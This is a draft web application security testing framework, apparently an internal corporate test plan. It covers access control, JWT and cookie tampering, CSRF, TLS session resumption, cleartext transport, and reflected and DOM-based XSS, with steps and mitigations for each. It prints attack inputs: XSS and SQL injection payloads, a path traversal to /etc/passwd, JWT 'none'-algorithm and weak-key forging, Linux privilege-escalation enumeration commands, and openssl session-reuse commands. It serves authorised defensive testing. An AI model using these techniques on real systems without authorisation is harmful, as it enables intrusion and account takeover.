# Zalaris Complete Web Application Testing Framework - Draft 1 - 17 06 2025

| **Term** | **Meaning** | **Example** |
| --- | --- | --- |
| **True Positive (TP)** | A valid, confirmed security issue that poses a real risk to the system. The test finding is accurate. | A reflected XSS payload successfully executes in the browser without input sanitization — a real exploitable vulnerability. |
| **False Positive (FP)** | A reported issue that, upon verification, turns out not to be a real vulnerability. It was mistakenly flagged. | A scanner flags an input parameter as vulnerable to SQL Injection, but manual testing shows it’s properly sanitized and not exploitable. |
| **False Negative (FN)** | A vulnerability that exists in the system but was missed by the test or scanner. An undetected real issue. | A web application has an insecure direct object reference (IDOR) vulnerability, but it wasn’t detected during automated or manual testing. |
| **True Negative (TN)** | Correctly identifying that no issue exists. The system is secure for the tested vector. | Testing for CSRF on a protected form with proper anti-CSRF tokens and confirming that no exploit is possible. |
| **Benign Positive** | A finding that technically matches a vulnerability pattern but cannot realistically be exploited in the current context. | A cookie without the Secure flag on a site only accessible via HTTPS, where HTTPS is strictly enforced via HSTS — so the risk is theoretical. |

### Broken Access Control

#### Verify for Elevation of Privilege

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the web application enforces proper access control mechanisms to prevent unauthorized users from escalating privileges (vertically or horizontally) within the application, and that the underlying Linux server remains secure from unauthorized privilege escalation attempts originating from the application context. |
| **Pre-conditions** | - Valid low-privileged user account (e.g., "User")  - Valid high-privileged user account (e.g., "Admin")  - Burp Suite Community/Pro or equivalent proxy- Test or staging environment  - Browser with developer tools  - Application hosted on Linux server (with SSH access to server if allowed in scope)  - Command execution vector identified (if applicable — file upload, RCE, template injection, etc.) |
| **Test Data** | - Low-privileged authenticated session cookies- High-privileged URLs and endpoints (e.g., /admin, /manage, /user/edit/123)  - Sample POST/PUT/DELETE requests for privileged actions  - Malicious payloads for server-side command execution (if applicable)  - Enumeration scripts (LinPEAS, LinEnum, etc.) |
| **Test Steps** | **Web Application Privilege Escalation:**   1. Log in with a low-privileged account and attempt direct access to admin-only pages via URL manipulation. 2. Intercept privileged requests (as admin) and replay them using a low-privileged session. 3. Manipulate request parameters (e.g., change user\_id) to access or modify unauthorized data. 4. Test APIs for missing or weak access controls. 5. Analyze front-end JavaScript files and hidden fields for references to restricted functionalities. 6. Observe error messages or indirect access leaks. 7. Look for RBAC misconfigurations by exploiting role parameters in PeopleHub : MSS , ESS etc   **Linux Server Privilege Escalation via Web Application:**   1. Attempt to gain command execution through vectors like file upload, RCE, template injection, insecure deserialization, or path traversal. 2. If command execution is achieved, enumerate the environment using id, whoami, and uname -a. 3. Enumerate permissions, sudo configurations (sudo -l), setuid binaries (find / -perm -4000), and world-writable files. 4. Check for misconfigurations (e.g., cron jobs, Docker misuses, PATH hijacking opportunities).   11. Attempt known local privilege escalation techniques if applicable. |
| **Expected Result** | - Web application should enforce strict RBAC and access control for all protected resources.  - Unauthorized users should be blocked from accessing or manipulating privileged resources (returning 403 or access denied).  - Server-side APIs should validate permissions for every sensitive operation.  - No command execution should be possible through the application interface.  - If code execution is possible, it must be sandboxed in a non-privileged, isolated environment.  - No application-level user should have sudo privileges or access to sensitive server files.  - No world-writable sensitive files or insecure setuid binaries should exist. |
| **Actual Result** | (To be filled after assessment — e.g., Low-privileged user was able to POST to /admin/create-user; reverse shell obtained via file upload; sudo -l revealed unrestricted sudo access to /bin/bash for www-data.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **High** if web-level privilege escalation is possible.  - **Critical** if Linux server-level escalation to root is achievable via the application. |
| **Evidence** | Example findings:  **Web Application:**  - Low-privileged user accessed /admin/users successfully.  - POST request to /api/user/delete processed by low-privileged session.  - Missing RBAC checks on REST API.  **Linux Server:**  - File upload led to PHP web shell.- Reverse shell gained as www-data.  - sudo -l showed www-data could run /usr/bin/vim as root.  - World-writable /etc/shadow file discovered.  - Setuid binary /usr/local/bin/vuln-bin allowed privilege escalation.  The scenarios given are limited and must be improvised during the actual test |
| **Mitigation Recommendation** | - Enforce strict, centralized server-side RBAC for all protected resources.  - Validate permissions server-side for every operation and endpoint.  - Implement least-privilege permissions for application processes and OS users.  - Disable or restrict file upload and command execution functionalities.  - Audit and harden sudoers configuration (/etc/sudoers).  - Remove or secure setuid binaries.  - Regularly audit permissions, running services, and cron jobs.  - Use security frameworks or middleware to enforce access control consistently.  - Apply AppArmor/SELinux profiles to restrict application processes.  - Regularly perform code reviews, server hardening, and pentests targeting privilege escalation vectors. |

#### Verify for Insecure Direct Object Reference

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the web application enforces proper access control on object references (IDs, usernames, file names, order numbers, or other direct identifiers) and prevents unauthorized users from accessing, modifying, or deleting resources belonging to other users or system components. |
| **Pre-conditions** | - Valid low-privileged user account (e.g., "User")- Valid high-privileged user account (e.g., "Admin")- Burp Suite Community/Pro or equivalent proxy- Test or staging environment- Browser with developer tools |
| **Test Data** | - Authenticated session cookies for different roles- List of object IDs (e.g., user\_id, account\_id, order\_id, file\_id) captured from URLs, POST bodies, headers, or API requests- Sample state-changing and data retrieval requests |
| **Test Steps** | 1. Log in with a low-privileged account.2. Capture requests involving object IDs, UUIDs, or file names (e.g., GET /api/users/123/profile, POST /order/update?id=45).3. Modify the object identifier in the request to reference another user's resource or a system file/object.4. Observe the response and check if the application allows unauthorized access or manipulation.5. Repeat the test for different user roles (low, admin, unauthenticated if permitted).6. Test both horizontal (same privilege level users accessing each other’s data) and vertical (low-privileged user accessing admin-only data) scenarios.7. If file download or export features exist, attempt to download files of other users or system files by changing the file name or ID parameter.8. Check API endpoints (REST, GraphQL) for IDOR weaknesses by manipulating query variables or POST/GET parameters.9. If applicable, attempt IDOR against server-level file paths or identifiers exposed through the web application. |
| **Expected Result** | - All resource access should be validated server-side against the current user's permissions.- Unauthorized object access attempts should result in a 403 Forbidden or custom access denied message.- No data, file, or system object should be accessible to unauthorized users by manipulating identifiers. |
| **Actual Result** | (To be filled after assessment — e.g., Low-privileged user accessed another user's order details by changing order\_id parameter in GET request.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **High** if sensitive resources can be accessed by unauthorized users.- **Critical** if vertical privilege escalation or system file/resource access is possible. |
| **Evidence** | Example findings:- Low-privileged user accessed /api/users/456/profile by changing 456 to 123 in the request URL and retrieved another user's PII.- POST request to /api/order/cancel processed successfully when order\_id was changed to another user's order.- No access validation performed in API responses, allowing enumeration of user IDs via sequential or predictable values.- API responded with full user JSON object on arbitrary user\_id modification.- Web application allowed download of ?file=../../etc/passwd exploiting lack of access control on file path parameter. |
| **Mitigation Recommendation** | - Implement strict, server-side authorization checks for every resource access request, validating that the authenticated user has permission to access the specified object.- Never rely on client-side checks, obfuscation, or hidden fields for access control.- Use indirect references (e.g., per-session object mapping or UUIDs) instead of predictable or sequential IDs.- Enforce object-level security checks at the API and controller level.- Regularly perform access control logic code reviews.- Use framework-provided access control mechanisms (e.g., object permission middleware).- Avoid exposing direct file paths or system-level object identifiers in client-side requests.- Log and monitor unauthorized access attempts and implement rate limiting or blocking as necessary. |

#### Verify Token manipulation by tampering JWT or cookie

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the web application securely validates session management tokens (such as JWT or cookies) and prevents unauthorized access by manipulating, forging, or re-signing these tokens to escalate privileges, impersonate other users, or bypass authentication controls. |
| **Pre-conditions** | - Valid low-privileged user account (e.g., "User")  - Valid high-privileged user account (e.g., "Admin")  - Burp Suite Community/Pro or equivalent proxy- JWT decoding tools (e.g., jwt.io, Burp JWT editor plugin)  - Test/staging environment |
| **Test Data** | - Authenticated session JWT tokens or cookies for different roles  - Captured JWT token structure: header, payload, signature  - JWT secret (if disclosed, predictable, or weak — optional if in-scope)  - Public/private key (for RS256 where applicable  — optional if in-scope)- Sample requests with valid and tampered tokens |
| **Test Steps** | **JWT Token Tampering:**   1. Log in as a low-privileged user and capture the JWT token from the Authorization header, cookie, or local storage. 2. Decode the token using jwt.io or Burp JWT editor to inspect the header and payload. 3. Modify the role, user\_id, or is\_admin claim values in the payload. 4. Re-sign the token if possible:   - If algorithm is set to "none", remove the signature and test.  - If secret key is known or weak (e.g., 'secret', 'admin', empty string), re-sign the token.   1. Replace the original token in request headers or cookies with the manipulated one. 2. Resend the request and observe the response. 3. If algorithm is RS256, attempt changing it to HS256 and sign with a guessable public key (if applicable).   **Session Cookie Tampering:**   1. Capture session cookies and attempt to modify values such as userid, role, or sessionid. 2. Replay modified cookies and observe application response.   10. Check for predictable or sequential session values and attempt to brute-force session tokens if no rate-limiting is enforced. |
| **Expected Result** | - Tokens should be cryptographically signed and validated on the server side.  - Tampered tokens (modified claims, removed signature, invalid signature) should be rejected with a 401 Unauthorized or 403 Forbidden response.  - Session cookies should be integrity-protected and unpredictable.  - No unauthorized access should be possible via token or cookie manipulation. |
| **Actual Result** | (To be filled after assessment — e.g.,  Low-privileged user modified JWT role claim to admin and accessed /admin dashboard; token with 'none' algorithm accepted.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if token tampering allows privilege escalation or bypasses authentication.  - **High** if session cookies can be manipulated for unauthorized access. |
| **Evidence** | Example findings:  **JWT Tampering:**  - Decoded JWT payload: {"user":"user1","role":"user"}  - Modified to: {"user":"admin","role":"admin"}  - Original Algorithm: HS256 — replaced signature with known weak key 'secret' — server accepted.- Algorithm none accepted without signature verification.  **Session Cookie Tampering:**  - Original: sessionid=abc123&userid=1&role=user  - Modified: sessionid=abc123&userid=0&role=admin  - Server responded 200 OK and granted access to admin interface. |
| **Mitigation Recommendation** | - Always use strong, securely generated secret keys for signing tokens (minimum 256-bit for HMAC, or RS/ES-based keys for asymmetric algorithms).  - Disallow use of 'none' algorithm for JWTs.  - Validate token signatures server-side for every request.  - Avoid storing sensitive or trust-critical data (like user roles) in client-modifiable tokens without proper validation.  - Set HttpOnly, Secure, and SameSite=Strict attributes on session cookies.  - Use short token expiration times and implement token revocation mechanisms (e.g., token blacklists, refresh token rotation).  - Enforce rate-limiting and lockout mechanisms against token brute-forcing attempts.  - Regularly audit and test token management logic in web applications and APIs. |

#### Verify for parameter tampering

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the web application and its APIs properly validate and enforce expected values for input parameters  (GET, POST, JSON body, headers, cookies, etc.) and prevent unauthorized access, privilege escalation, or logic bypass through parameter manipulation. |
| **Pre-conditions** | - Valid low-privileged user account (e.g., "User")  - Valid high-privileged user account (e.g., "Admin")  - Burp Suite Community/Pro or equivalent proxy- Test/staging environment  - API documentation or endpoint list (if available)  - Browser with developer tools |
| **Test Data** | - Request parameters from URLs, POST bodies, JSON payloads, cookies, and headers  - Valid and invalid parameter values  - Enumerated object IDs, account numbers, roles, prices, etc. |
| **Test Steps** | 1. Identify all user-controlled parameters in requests (URL parameters, query strings, form fields, JSON body fields, headers, and cookies). 2. Intercept requests using Burp Suite or equivalent proxy. 3. Modify parameter values with unauthorized, invalid, or unexpected data. Focus on sensitive fields like:   - User IDs / Account IDs (attempt IDOR)  - Price / quantity (attempt price manipulation)  - Role / privilege flags (attempt privilege escalation)  - Hidden form fields or URL tokens4. Resend the modified request and observe server responses.   1. Test for horizontal access (changing parameter to another user’s ID) and vertical access (changing role or privilege flags). 2. If numeric or sequential, attempt parameter enumeration or brute-forcing.   7. Attempt invalid, special, or unexpected characters (e.g., -1, 999999, 0, null, admin, true, ' OR 1=1--, ../ etc.) to test input validation and error handling.  8. If response changes or actions succeed unexpectedly, confirm and capture evidence. |
| **Expected Result** | - All user-controlled parameters should be properly validated on the server side.  - Unauthorized parameter modifications should result in a 403 Forbidden, validation error, or ignored action.  - No unauthorized data access, privilege escalation, or unauthorized state changes should occur through parameter manipulation. |
| **Actual Result** | (To be filled after assessment — e.g., Low-privileged user modified user\_id parameter in POST request and accessed another user's data.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **High** if unauthorized access, data manipulation, or privilege escalation is possible via parameter tampering.  - **Medium** if unintended actions or input validation bypasses are detected without privilege escalation. |
| **Evidence** | Example findings:  - Changed user\_id=123 to user\_id=1 in POST request — server returned another user’s data.  - Modified role=User to role=Admin in POST request JSON body — elevated privileges granted.  - Changed price=100 to price=1 in purchase request — server processed order with manipulated price.  - Added discount=100 to POST request — applied unauthorized discount. |
| **Mitigation Recommendation** | - Enforce strict server-side validation and authorization checks for every parameter received from the client.  - Never rely solely on client-side or hidden fields for sensitive decisions.  - Use indirect references (e.g., session-bound IDs or opaque tokens) for sensitive object identifiers.  - Sanitize and validate parameter values against expected formats and allowed ranges.  - Implement strong role-based access control (RBAC) checks.  - Log and monitor parameter anomalies and repeated failed access attempts.  - Conduct regular pentests, code reviews, and automated security tests for parameter tampering vectors. |

#### Verify unauthorized API access Check

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that all API endpoints properly enforce authentication and authorization controls, preventing unauthorized users (unauthenticated or low-privileged) from accessing, modifying, or deleting sensitive resources, and ensuring actions are restricted according to the authenticated user’s privileges. |
| **Pre-conditions** | - Valid low-privileged user account (e.g., "User")- Valid high-privileged user account (e.g., "Admin")- Burp Suite Community/Pro, Postman, or equivalent API testing tool- API documentation or endpoint list (if available)- Test or staging environment |
| **Test Data** | - Valid API authentication tokens (JWT, OAuth token, API key) for different roles- Sample request payloads for sensitive actions (e.g., create user, delete account, modify config)- API endpoints for both public and private routes |
| **Test Steps** | 1. Identify API endpoints available from documentation, Swagger/OpenAPI files, JavaScript code, or proxy interception. 2. Attempt to access sensitive endpoints without providing any authentication token and observe the response. 3. Repeat the request using a low-privileged user’s token or API key. 4. Attempt to perform restricted operations (e.g., user deletion, configuration changes, data export) meant for admin or higher privileges. 5. Modify request parameters (e.g., object IDs, user IDs) and see if horizontal or vertical privilege escalation is possible. 6. Test for unauthenticated access to internal API endpoints by accessing URLs like /api/internal/\*, /api/admin/\*, /api/users/all, etc. 7. Check for unrestricted access to debug or undocumented endpoints. 8. Review error messages for indirect information disclosure about permissions or resource existence.   9. Repeat tests using expired, invalid, or forged tokens to assess token validation. |
| **Expected Result** | - Unauthorized requests should be rejected with HTTP 401 Unauthorized or 403 Forbidden responses.  - API should consistently enforce both authentication (identity verification) and authorization (access control based on user roles) for every endpoint.  - No sensitive action should be possible by unauthenticated or low-privileged users. |
| **Actual Result** | (To be filled after assessment — e.g., Low-privileged user accessed /api/admin/export-users endpoint and downloaded full user database.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if sensitive admin endpoints or operations are accessible to unauthorized or low-privileged users.  - **High** if sensitive data retrieval is possible without proper access control. |
| **Evidence** | Example findings:  - GET request to /api/admin/users without authentication returned 200 OK and full user list.  - Low-privileged token performed POST request to /api/admin/delete-user successfully.  - API did not validate token expiration and accepted forged JWT tokens.  - Accessing /api/debug/status exposed sensitive system info without any authentication. |
| **Mitigation Recommendation** | - Enforce consistent, server-side authentication and authorization on all API endpoints.  - Require valid, signed, and non-expired tokens for all protected endpoints.  - Implement role-based access control (RBAC) checks at the API handler or middleware level.  - Disable or restrict access to internal or debug endpoints in production.  - Use API gateway or WAF to restrict access to management and sensitive endpoints.  - Ensure proper token validation: verify signature, expiration, audience, and issuer claims.  - Conduct regular API security reviews and pentests, and implement automated security testing tools for APIs. |

#### Verify for deny by default check

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the web application enforces a Deny-by-Default access control policy, where no endpoint, resource, or sensitive functionality is accessible to users unless explicitly permitted by their role, group, or authorization context. |
| **Pre-conditions** | - Valid low-privileged user account (e.g., "User")- Valid high-privileged user account (e.g., "Admin")- Burp Suite Community/Pro or equivalent proxy- API documentation, endpoint list, or application sitemap (if available)- Test/staging environment |
| **Test Data** | - List of application routes (URL paths, API endpoints, admin interfaces, configuration pages, upload/download paths, debug URLs, and hidden resources)- Different user roles and session tokens (authenticated and unauthenticated) |
| **Test Steps** | 1. Identify all application and API endpoints from documentation, client-side JavaScript, proxy logs, or site map crawls.2. Attempt to access endpoints without authentication to test if unauthenticated users are denied access.3. Repeat with a low-privileged user account and attempt to access admin-only, configuration, and sensitive operation pages.4. Attempt access to undocumented or debug/test endpoints (e.g., /debug, /admin/config, /internal/status).5. Attempt to perform unauthorized actions (e.g., POST to /admin/create-user or DELETE to /api/user/2) without appropriate privileges.6. Check for error messages, status codes, or redirects on unauthorized requests.7. Analyze front-end code for hidden links or references to internal or legacy endpoints, and test those as well.8. Validate if sensitive actions or internal APIs are disabled for users who are not explicitly permitted.9. Review the response codes and messages: unauthorized or unlisted resources should return HTTP 403 Forbidden or 404 Not Found. |
| **Expected Result** | - All unauthenticated or unauthorized requests should be denied by default (HTTP 403 Forbidden or 404 Not Found).- Only explicitly permitted users or roles should be able to access protected resources or perform privileged actions.- No internal, deprecated, or undocumented endpoints should be accessible unless properly authorized. |
| **Actual Result** | (To be filled after assessment — e.g., Unauthenticated user accessed /api/admin/status and retrieved sensitive config data.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if sensitive resources or admin functionalities are accessible to unauthorized users.  - **High** if internal or undocumented endpoints are publicly reachable. |
| **Evidence** | Example findings:  - GET request to /admin/users returned 200 OK for low-privileged user.  - Access to /debug/config without authentication revealed system details.  - POST request to /api/admin/delete-user processed successfully by a non-admin account  - Unauthorized access attempts returned 200 OK instead of 403 Forbidden. |
| **Mitigation Recommendation** | - Implement a Deny-by-Default access control policy at the application, API, and web server levels.  - Explicitly define allowed permissions and roles for every route, resource, and action.  - Ensure all undefined, undocumented, or legacy routes are disabled or restricted.  - Return 403 Forbidden for unauthorized users and 404 Not Found for non-existent or unauthorized internal endpoints.- Enforce RBAC checks server-side for every sensitive operation.  - Disable or restrict debug, test, or internal endpoints in production environments.  - Conduct regular access control logic reviews and pentests to confirm enforcement of default deny policies. |

#### Cross Site Request Forgery

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that the web application enforces proper CSRF protection mechanisms on all state-changing requests (POST, PUT, DELETE, PATCH) to prevent unauthorized actions by third parties. |
| **Pre-conditions** | - Valid user account for authenticated actions- Burp Suite Community/Pro or equivalent proxy- Test environment or staging instance- Browser with developer tools |
| **Test Data** | - Authenticated session cookies- Sample POST/PUT requests (e.g., change email, password, submit order)- URLs for state-changing endpoints |
| **Test Steps** | 1. Log into the application and intercept a state-changing request (e.g., profile update) in Burp Suite.   2. Check for presence of a CSRF token in the request body, headers, or URL.  3. Remove or modify the CSRF token, if present, and resend the request.  4. Observe whether the server processes the request or rejects it.  5. Optionally, craft a CSRF PoC page on a different domain that submits the same request using an HTML form or JavaScript to test if a logged-in user would unknowingly trigger the action.  6. Repeat for other sensitive actions like password change, adding users, financial transactions.  Test by Hosting the CSRF script in a whitelisted domain if possible so that when request made from whitelisted domain - the CSRF will be successful  This check will also ensure that the CSP policy set is verified to not to have include a domain where an external attacker can host a script and intern make a CSRF request |
| **Expected Result** | - All state-changing requests should be rejected if the CSRF token is missing, invalid, or altered.  - The server should return a 403 Forbidden or CSRF error message.  - No action should be performed without a valid, user-specific, single-use CSRF token or SameSite cookie control. |
| **Actual Result** | (To be filled after assessment — e.g., Request to /account/update processed successfully without CSRF token; profile information changed.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if any sensitive state-changing action is accepted without proper CSRF validation |
| **Evidence** | Example findings:  - Burp Suite Repeater request to /user/profile/update without CSRF token returned 200 OK.  - No CSRF token parameters in POST body or headers.  - No SameSite cookie flag detected in response cookies.  - CSRF PoC HTML form executed action on victim session successfully. |
| **Mitigation Recommendation** | - Implement CSRF protection on all state-changing endpoints.  - Use per-session, per-request CSRF tokens validated on the server side.  - Implement SameSite cookie attributes (Strict or Lax) for session cookies.  - Validate Origin and Referer headers for sensitive requests.  - Use framework-provided CSRF defenses (e.g., Spring Security, Django CSRF middleware, ASP.NET AntiForgeryToken).  - Perform regular security code reviews and web application pentests. |

#### TLS session resumption attacks

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether a client can resume a TLS 1.3 session across virtual hosts with different trusted client certificate configurations, bypassing access control. |
| **Pre-conditions** | - Apache HTTP Server 2.4.35–2.4.63 with mod\_ssl enabled<br>- Two virtual hosts configured with different SSLCACertificateFile values<br>- SSLStrictSNIVHostCheck disabled<br>- Valid client certificates for each host<br>- OpenSSL installed for session testing |
| **Test Data** | - Client certificates:  • clientA.crt, clientA.key (trusted by Host A)  • clientB.crt, clientB.key (trusted by Host B)  - TLS session file:  session.pem |
| **Test Steps** | 1. Connect to Host A using clientA.crt and save session:<br>bash<br>openssl s\_client -connect hostA:443 -cert clientA.crt -key clientA.key -sess\_out session.pem 2. Resume session with Host B:<br>bash<br>openssl s\_client -connect hostB:443 -sess\_in session.pem<br><br>   3. Observe whether Host B accepts the resumed session without requiring clientB.crt |
| **Expected Result** | - Host B should reject the resumed session if clientA.crt is not trusted  - TLS handshake should fail due to certificate mismatch |
| **Actual Result** | (To be filled after assessment — e.g., Host B accepted session from clientA.crt without re-authentication) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | **High** if access control is bypassed and unauthorized access is granted<br>**Medium** if session resumption occurs but access is denied |
| **Evidence** | Example findings:  - TLS session resumed on Host B using clientA.crt  - Apache logs show successful handshake  - No certificate validation triggered for Host B |
| **Mitigation Recommendation** | - Enable SSLStrictSNIVHostCheck in all virtual hosts  - Upgrade to Apache HTTP Server 2.4.64  - Avoid sharing IPs across virtual hosts with different trust boundaries- Monitor TLS session reuse behavior in logs |

### Sensitive Data Exposure or Cryptographic Failure

#### Data transmission in clear text

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that all sensitive data transmitted between the client and the web application/API is encrypted in transit using secure protocols (e.g., HTTPS/TLS) and confirm that no sensitive data (such as credentials, tokens, personal data) is transmitted over cleartext (HTTP, WS, TCP) connections. |
| **Pre-conditions** | - Valid test/staging environment  - Burp Suite Community/Pro or equivalent proxy  - Access to application or mobile app communicating with the server  - Ability to intercept and inspect traffic via HTTP proxy or packet sniffer (e.g., Wireshark if required) |
| **Test Data** | - User credentials (username, password)- Sensitive parameters (tokens, personal data, credit card numbers, etc.)  - API request bodies and headers |
| **Test Steps** | 1. Configure Burp Suite or equivalent proxy to intercept all client-server communication. 2. Browse the application and perform actions that involve transmitting sensitive data (e.g., login, register, update profile, payment, API calls). 3. Observe the **request scheme** for every request — ensure it's HTTPS, not HTTP or WS (WebSocket unencrypted). 4. Review all request headers, parameters, body content, and cookies for any sensitive data sent over cleartext protocols. 5. If mobile or desktop apps are in scope, intercept network traffic and inspect for insecure channels (HTTP/TCP). 6. Identify any mixed-content scenarios where HTTP resources (images, scripts, APIs) are loaded within HTTPS pages.   7. If applicable, test API endpoints directly via Burp or Postman to check if insecure HTTP versions are exposed and reachable. |
| **Expected Result** | - All client-server communications should be transmitted over secure HTTPS/TLS connections.  - No sensitive data (passwords, tokens, PII, payment info) should be sent via cleartext protocols (HTTP, WS, TCP).  - All application resources should load over HTTPS to avoid mixed content issues. |
| **Actual Result** | (To be filled after assessment — e.g., Password transmitted via HTTP request to /login; session tokens exposed in WebSocket frames sent via unencrypted WS protocol.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | - **Critical** if passwords, tokens, or PII are transmitted in cleartext.  - **High** if mixed content or insecure resources exist within secure HTTPS pages. |
| **Evidence** | Example findings:  - POST request to http://example.com/login with username and password in request body.  - Session cookie Set-Cookie header transmitted without Secure attribute.  - WebSocket connection initiated to ws://api.example.com leaking sensitive data in frames.  - API endpoint accessible via HTTP (http://api.example.com/data) revealing personal user data. |
| **Mitigation Recommendation** | - Enforce HTTPS/TLS (minimum TLS 1.2 or 1.3) for all client-server communication.- Disable insecure HTTP and WS endpoints at the web server, API gateway, and load balancer levels.  - Implement HSTS (HTTP Strict Transport Security) headers to force HTTPS.- Set Secure and HttpOnly flags on all session cookies.  - Review application for mixed content issues and convert all resources to HTTPS.  - Regularly test all endpoints and apps for secure transport enforcement in staging and production environments. |

### Injection

#### **User Input Reflected in Response**

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify that user-supplied input is properly validated, sanitized, and encoded before being reflected in the HTTP response, to prevent injection attacks such as Reflected XSS or information disclosure. |
| **Pre-conditions** | - Access to web application interface and parameters accepting user input (e.g., GET, POST, URL parameters, JSON payloads)  - Burp Suite, browser developer tools, or curl |
| **Test Data** | - Special characters and payloads (e.g. <script>alert(1)</script>, "><img src=x onerror=alert(1)>, ' OR '1'='1)  - Application parameters: search fields, URL params, form fields |
| **Test Steps** | 1. Identify input fields and parameters where user data is submitted and reflected in the application response (HTML, JSON, or error messages). 2. Inject benign test payloads (e.g. test123) and observe where it appears in the response. 3. If reflected, inject special characters and XSS payloads (e.g. <script>alert(1)</script>). 4. Observe if the input is properly sanitized, encoded, or directly reflected in the output. 5. If reflected unsanitized, assess exploitability (e.g. does it execute as JavaScript in the browser, or appear inside HTML without encoding). |
| **Expected Result** | - All user-supplied input should be properly validated and encoded before being reflected in responses.  - No direct, unsanitized reflection of input should appear in HTML, JSON, or error messages.  - If reflected, it should be escaped (e.g., &lt;script&gt;alert(1)&lt;/script&gt;). |
| **Actual Result** | (To be filled after assessment — e.g., Input <script>alert(1)</script> reflected unsanitized in search?q= results page; executes as JavaScript in browser.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if input is reflected unsanitized and exploitable for XSSMedium if reflected safely but reveals unexpected system behavior or error messages |
| **Evidence** | Example findings:  - Burp Suite Repeater request to /search?q=<script>alert(1)</script> returned HTML response containing <h2>You searched for: <script>alert(1)</script></h2>.- Alert executed in browser.  - No input sanitization or encoding detected.  - No Content Security Policy (CSP) header implemented. |
| **Mitigation Recommendation** | - Validate and sanitize all user-supplied input on the server side.  - Apply context-aware output encoding (e.g., HTML encoding for HTML content, JavaScript encoding for JS contexts).  - Implement a strict Content Security Policy (CSP) header.  - Disable or restrict error messages containing user input.  - Use security libraries and frameworks that provide automatic encoding (e.g., OWASP ESAPI, context-safe templates).  - Regularly test application for XSS and injection points using both manual and automated techniques. |

#### **DOM Based Client Side Injection**

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application is vulnerable to client-side injection (DOM-Based XSS or other DOM manipulation attacks) by identifying unsafe handling of user-controlled data within JavaScript executed in the browser. |
| **Pre-conditions** | - Application accessible via browser and proxy tools (Burp Suite, OWASP ZAP) - Ability to inspect HTML, JavaScript source, and browser DevTools Console - Familiarity with application input points (URL parameters, fragments, localStorage, etc.) |
| **Test Data** | - Malicious payloads:  • <script>alert(1)</script>  • javascript:alert(1)  • <img src=x onerror=alert(1)> - Tools:  • Burp Suite (Intercept/Repeater)  • Browser DevTools  • DOM Invader (from PortSwigger) |
| **Test Steps** | 1. Identify application input vectors that are reflected or processed in client-side JavaScript. (Examples: URL query parameters, hash fragments, localStorage, document.write, innerHTML assignments) 2. Inject common XSS payloads into these input points. 2. Monitor browser console and page behavior for execution of injected payloads. 3. Review application JavaScript code (via Sources tab in DevTools or Burp Logger) to find unsafe sinks like document.write, innerHTML, eval, location.href, etc. 4. Use DOM Invader or manual tracing to confirm whether data flows from source (user input) to sink without sanitization. 5. Test both authenticated and unauthenticated areas.   If the injected values are processed in the source and is available via the sink then check whether the same is processed when the application normally functions |
| **Expected Result** | - No execution of untrusted input via client-side JavaScript.  - No payload should result in JavaScript execution via unsafe DOM manipulations.  - Application should sanitize or validate any user  -controlled data before using it in the DOM. |
| **Actual Result** | (To be filled after assessment — e.g., URL parameter name reflected unsanitized into innerHTML resulting in alert popup.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if arbitrary script execution is possible (DOM XSS) Medium if reflected content manipulates DOM but cannot execute arbitrary JS (e.g., HTML injection without JS execution) |
| **Evidence** | Example findings:  - URL used: https://target.com/profile?name=<img src=x onerror=alert(1)>  - In page source: element.innerHTML = getUrlParam('name')  - Alert triggered on page load confirming execution |
| **Mitigation Recommendation** | - Avoid using dangerous JavaScript functions like document.write, innerHTML, eval, setTimeout(string) with untrusted input.  - Use secure APIs like textContent, createElement, or setAttribute for DOM manipulation.  - Apply robust client-side input sanitization libraries (DOMPurify, etc.)  - Implement Content Security Policy (CSP) with script-src restrictions.  - Educate developers on DOM-based XSS risks and safe coding patterns. |

#### **DOM Based Cookie Manipulation**

| **Field** | **Content** |
| --- | --- |
| **Test Objective** | Verify whether the application’s client-side JavaScript insecurely reads from or writes to cookies via untrusted user input sources, leading to possible session hijacking, privilege escalation, or client-side manipulation of application state. |
| **Pre-conditions** | - Application accessible via browser and proxy tools (Burp Suite, ZAP)  - Ability to inspect JavaScript code (via browser DevTools or Burp Logger)  - Ability to manipulate inputs like query strings, hash fragments, localStorage, etc. |
| **Test Data** | - Malicious payloads:  • sessionid=malicious\_session  • role=admin  • URL fragments: #token=attacker\_value - Tools:  • Burp Suite (Intercept/Repeater)  • Browser DevTools (Sources, Application tabs) |
| **Test Steps** | 1. Identify JavaScript code interacting with cookies via document.cookie. 2. Look for reads or writes of cookies using values derived from URL parameters, hash fragments, localStorage, or other untrusted inputs. 3. Manipulate these input values to inject malicious data (e.g., via query string or fragment). 4. Observe if injected values are written into cookies insecurely or if sensitive cookies can be overwritten.   5. Confirm if cookie modifications lead to privilege escalation or unauthorized actions (e.g., forcing admin role, hijacking a session). |
| **Expected Result** | - Application should not write untrusted input directly to document.cookie.  - Cookie values should only be set from validated, trusted sources.  - Sensitive cookies should be set via HTTP response headers with Secure and HttpOnly flags. |
| **Actual Result** | (To be filled after assessment — e.g., URL parameter role=admin reflected into document.cookie, enabling privilege escalation.) |
| **Status** | (Pass / Fail Detected) |
| **Severity** | High if attacker can manipulate session, authentication, or role cookies. Medium if attacker can overwrite non-sensitive cookies (e.g., UI preferences) |
